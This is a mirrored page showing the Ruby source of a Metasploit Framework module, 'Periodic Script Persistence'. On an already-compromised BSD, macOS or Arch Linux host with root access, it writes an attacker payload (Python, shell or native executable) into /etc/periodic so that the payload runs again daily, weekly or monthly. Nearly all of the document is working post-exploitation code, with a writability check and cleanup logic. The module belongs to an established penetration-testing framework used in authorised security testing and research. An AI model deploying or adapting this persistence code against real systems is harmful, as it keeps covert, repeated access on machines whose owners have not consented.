Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/persistence/periodic_script.rb
32071 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Post::File
11
include Msf::Exploit::EXE
12
include Msf::Exploit::Local::Persistence
13
include Msf::Exploit::Deprecated
14
moved_from 'exploits/multi/local/periodic_script_persistence'
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Periodic Script Persistence',
21
'Description' => %q{
22
This module will achieve persistence by writing a script to the /etc/periodic directory.
23
According to The Art of Mac Malware no such malware species persist in this manner (2024).
24
This payload requires root privileges to run. This module can be run on BSD, OSX or Arch Linux.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'gardnerapp',
29
'msutovsky-r7'
30
],
31
'References' => [
32
['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'],
33
['URL', 'https://superuser.com/questions/391204/what-is-the-difference-between-periodic-and-cron-on-os-x/'],
34
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
35
['ATT&CK', Mitre::Attack::Technique::T1053_SCHEDULED_TASK_JOB]
36
],
37
'DisclosureDate' => '2012-04-01',
38
'Privileged' => true,
39
'DefaultTarget' => 1, # python is the most compatible across OSes
40
'Targets' => [
41
[ 'OSX', { 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Platform' => 'osx' } ],
42
[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
43
[ 'Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ],
44
[ 'Bsd', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'bsd' }]
45
],
46
'SessionTypes' => [ 'shell', 'meterpreter' ],
47
'Notes' => {
48
'Stability' => [CRASH_SAFE],
49
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
50
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
51
}
52
)
53
)
54
55
register_options([
56
OptEnum.new('PERIODIC_DIR', [true, 'Periodic Directory to write script eg. /etc/periodic/daily', 'daily', %w[daily weekly monthly]]),
57
OptString.new('PERIODIC_SCRIPT_NAME', [false, 'Name of periodic script']),
58
])
59
60
deregister_options('WritableDir')
61
end
62
63
def check
64
periodic = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"
65
66
return CheckCode::Vulnerable "#{periodic} is writable" if writable? periodic
67
68
CheckCode::Safe "Unable to write to #{periodic}"
69
end
70
71
def write_periodic_script(payload_content)
72
periodic_dir = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"
73
74
periodic_script_name = datastore['PERIODIC_SCRIPT_NAME'].blank? ? Rex::Text.rand_text_alphanumeric(rand(6..13)) : datastore['PERIODIC_SCRIPT_NAME']
75
periodic_script = File.join(periodic_dir, periodic_script_name)
76
77
# we needed elevated privileges to create the file, so likely no need to sudo here
78
@clean_up_rc << "rm #{periodic_script}\n"
79
80
fail_with(Failure::UnexpectedReply, "Unable to write #{periodic_script}") unless upload_and_chmodx(periodic_script, payload_content)
81
82
print_status "Succesfully wrote periodic script to #{periodic_script}."
83
end
84
85
def install_persistence
86
if target['Arch'] == ARCH_PYTHON
87
print_status 'Getting python version & path.'
88
89
python = cmd_exec('which python3 || which python2 || which python')
90
91
fail_with(Failure::PayloadFailed, 'Unable to find python version. ') if python.blank? || !file?(python)
92
93
print_good "Found python path #{python}"
94
95
payload_bin = "#!#{python}\n#{payload.encoded}"
96
elsif target['Arch'] == ARCH_CMD
97
payload_bin = "#!/usr/bin/env #{cmd_exec('echo ${SHELL}')}\n #{payload.encoded}"
98
else
99
payload_bin = generate_payload_exe
100
end
101
102
write_periodic_script payload_bin
103
end
104
end
105
106